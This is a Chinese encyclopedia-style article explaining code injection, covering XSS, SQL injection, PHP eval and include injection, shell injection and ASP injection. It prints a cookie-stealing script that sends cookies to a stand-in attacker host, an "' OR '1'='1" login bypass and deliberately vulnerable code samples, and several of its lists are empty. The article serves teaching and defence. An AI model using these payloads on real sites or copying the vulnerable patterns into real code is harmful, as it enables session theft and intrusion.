代码注入

✍ dations ◷ 2024-10-30 11:23:16 #恶意软件,注入漏洞

代码注入(英语:Code injection)是一种肇因于处理非法资料的电脑臭虫应用。代码注入可被攻击者用来导入代码到某特定的计算机程序,以改变程序的运行进程或目的。代码注入攻击的结果可以是灾难性的。例如说:代码注入可作为许多电脑蠕虫繁殖的温床。

举例说,有一间公司的网页服务器上有一个签名簿的代码,用来让用户发表简短的口信,例如:

Nice site!

不过,这个代码原来有漏洞。一个意图入侵者得悉这间公司采用了有问题的代码,于是试图透过留下一条附带有代码的口信,例如:

Nice Site,  I think I'll take it.><script>document.location='http://some_attacker/cookie.cgi?' +document.cookie</script>

如果另一个用户查看了该页,被注入的代码即运行。该代码可让攻击者扮装成另一个用户。然而这个相同的软件臭虫可被用户意外的触发,亦即造成该网站暴露 HTML 代码。

That post was awesome, :>)

在这个案例里表情符号可造成 HTML 代码不对称,因为不对称的HTML标签被注入到代码里。

大部分这类的问题与哪些可能输入资料,或者特殊资料效果的错误假设相关。一些软件开发员可能犯下危险假设的经典示例如下:

代码注入的使用一般被视为心怀恶意的举动,而它确实常常如此。透过代码注入技术在黑或者破解系统上,以获取信息、提权、或者非法访问某系统是相当流行的。

恶意用途的代码注入可包括:

某些人可能会出于善意而使用代码注入。例如,透过代码注入以改变或者调试某程序或者系统的行为可以"摆弄"系统以某种方式表现其行为而不怀任何恶意。打比方说:

这些人诉诸此种替代手段大致是下面几种原因之一:

一般开发社区对以此为目的的代码注入不表欢迎。他们称这种行为为三脚猫、半调子、或者骇 / 黑程序。(kludge or hack)

某些开发者允许或者甚至表扬代码注入的使用来“加强”他们的软件;通常是因为该方案提供了较不昂贵的方式来实现新的或者特殊化的功能。不幸的是,其副作用与无法列管的蕴含式可能相当危险。

一般来说,即使相当善意的代码注入使用都不被建议使用。

某些用户可能会不经意的进行代码注入,因为他们对程序提供的输入,没列在当初开发系统者的考虑中。例如:

要避免代码注入的种种问题,得充分发挥输入输出处理保全,例如:

SQL注入是种乘SQL语法之利,注入可读取或者修改数据库、或者扭曲原始查询意义的命令。

以一个网页有两个字段让用户输入用户名与密码为例,在该网页幕后工作的代码会产生SQL查询以检查密码是否与用户名密码列表相符:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'Password'

如果这查询有回应行数,便允许该访问。然而,如果恶意用户键入合法用户名,并且在密码栏注入某些合法代码 ("password' OR '1'='1"),查询结果便如下所示:

SELECT UserList.UsernameFROM UserListWHERE UserList.Username = 'Username'AND UserList.Password = 'password' OR '1'='1'

在上面示例里,"Password"被假定为空白或者某个无害的字符串。"'1'='1'"逻辑式将永远为真,并且找到多少行就回应多少行,因此访问就被允许了。

该技术可被精练成允许运行多重陈述,甚或加载外部程序。

"PHP注入"、"ASP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对服务器脚本引擎提供代码的代码注入攻击。在"PHP注入"实例里,服务端脚本引擎是PHP。

实际上,PHP注入是“动态赋值安全隐患”、“包含文件注入”、或者类似代码注入的安全隐患。

mitre.org的史蒂芬克利斯第 (Steven M. Christey)提议以这个名字作为这类型的代码注入安全隐患。

eval注入安全隐患发生在攻击者可控制所有或者部分作为“喂”给eval()函数调用的输入字符串。

$myvar = 'somevalue'; $x = $_GET; eval('$myvar = ' . $x . ';');

"eval"的参数将会视同PHP处理,所以额外的命令可被添加。例如:如果"arg"如果被设成"10; system('/bin/echo uh-oh')",后面的"system('/bin/echo uh-oh')"代码将被运行,这等同在服务器上运行开发者意料外的程序。在这示例里头是"/bin/echo"。

如在"Dynamic Evaluation Vulnerabilities in PHP applications"一文所定义的:PHP支持 "变量的变量",意指变量或者表达式可以对其他变量名赋值。这种特性可用来于程序运行时期动态改变哪个变量被访问或给值。这种特性是把双刃剑:强大、便利、同时也很危险。

许多程序有下面类似代码:

$safevar = "0"; $param1 = ""; $param2 = ""; $param3 = ""; # my own "register globals" for param foreach ($_GET as $key => $value) {   $$key = $value; }

如果攻击者在查询字符串中给定"safevar=bad",那$safevar将会被设为值 "bad"。

下面PHP示例将按照请求的方式运行函数。

$myfunc = $_GET; $myfunc();

以及:

$myfunc = $_GET; ${"myfunc"}();

包含文件注入

考虑下面的PHP程序(这里包含了个文件可因应需求改变):

<?php   $color = 'blue';   if (__isset( $_GET ) )      $color = $_GET;   require( $color . '.php' );?>
<form method="get">   <select name="COLOR">      <option value="red">red</option>      <option value="blue">blue</option>   </select>   <input type="submit"></form>

开发者认为这样大概可以保证只有 blue.php 和 red.php 可被加载。不过随着任何人可在COLOR轻易的插入随意值,造成以下文件注入的可能性:

Shell注入又称命令行界面注入,它命名源于Unix Shell,不过可套用到大部分允许软件程序化地运行命令行接口的系统上。常见的Shell注入资源有system()StartProcess()java.lang.Runtime.exec()System.Diagnostics.Process.Start()以及类似的应用程序接口。

考虑下面的简短PHP程序。它运行一段叫做funnytext的外部程序,以置换用户提交的许多其他单字:

<?phppassthru ( " /home/user/phpguru/funnytext "            . $_GET );?>

该程序可以以多种方式被注入:

注:命令指的是命令行接口下可供输入运行的命令,例如视窗平台的 dir、UNIX 平台的 ls 等等。

PHP提供escapeshellarg()escapeshellcmd()以在调用方法以前进行编码。然而,实际上并不建议相信这些方法是安全的 - 同样必须对输入确认 / 消毒。

HTML注入/脚本注入是个炒得相当热的话题,一般专业术语为跨网站脚本(Cross-site scripting,通常简称为XSS)。XSS指的是一种依靠用户输入到网页脚本,或者某些像代码行被置于输出HTML,而没有检查HTML代码或脚本的注入漏洞。

这种注入有两个基本型如下:

根据英国技术网站的文献指出,HTML注入亦可发生在用户本身被有问题的DLL感染过的系统身上。该文献引用罗杰汤森 (Roger Thompson) 的说法:受害者的浏览器,实际上,访问了PayPal或其他类似的网站,甚或某动态链接文件将它自己插入IE,并试着在交易进行中读取并修改HTML。该文献提及使用这种手段的钓鱼攻击顺利规避IE7与赛门铁克尝试侦测可疑网站的努力。

"ASP注入"、"PHP注入"、以及其他类似技术术语是创造来泛指其他种种允许攻击者直接对服务器脚本引擎提供代码的代码注入攻击。在"ASP注入"实例里,服务端脚本引擎是微软Active Server Pages,一种微软IIS的外加组件。

在实际上与PHP相似,ASP注入也是“动态赋值安全隐患”、“包含文件注入”、或者类似代码注入的安全隐患。

示例:

<%    If Not IsEmpty(Request( "username" ) ) Then        Const ForReading = 1, ForWriting = 2, ForAppending = 8        Dim fso, f        Set fso = CreateObject("Scripting.FileSystemObject")        Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)        f.Write Request("username") & vbCrLf        f.close        Set f = nothing        Set fso = Nothing        %>         <h1>List of logged users:</h1>         <pre>        <%         Server.Execute( "userlog.txt" )        %>         </pre>        <%    Else        %>         <form>         <input name="username" /><input type="submit" name="submit" />         </form>        <%    End If%>

在这个示例中,用户可用命令而非用户名取代输入。

相关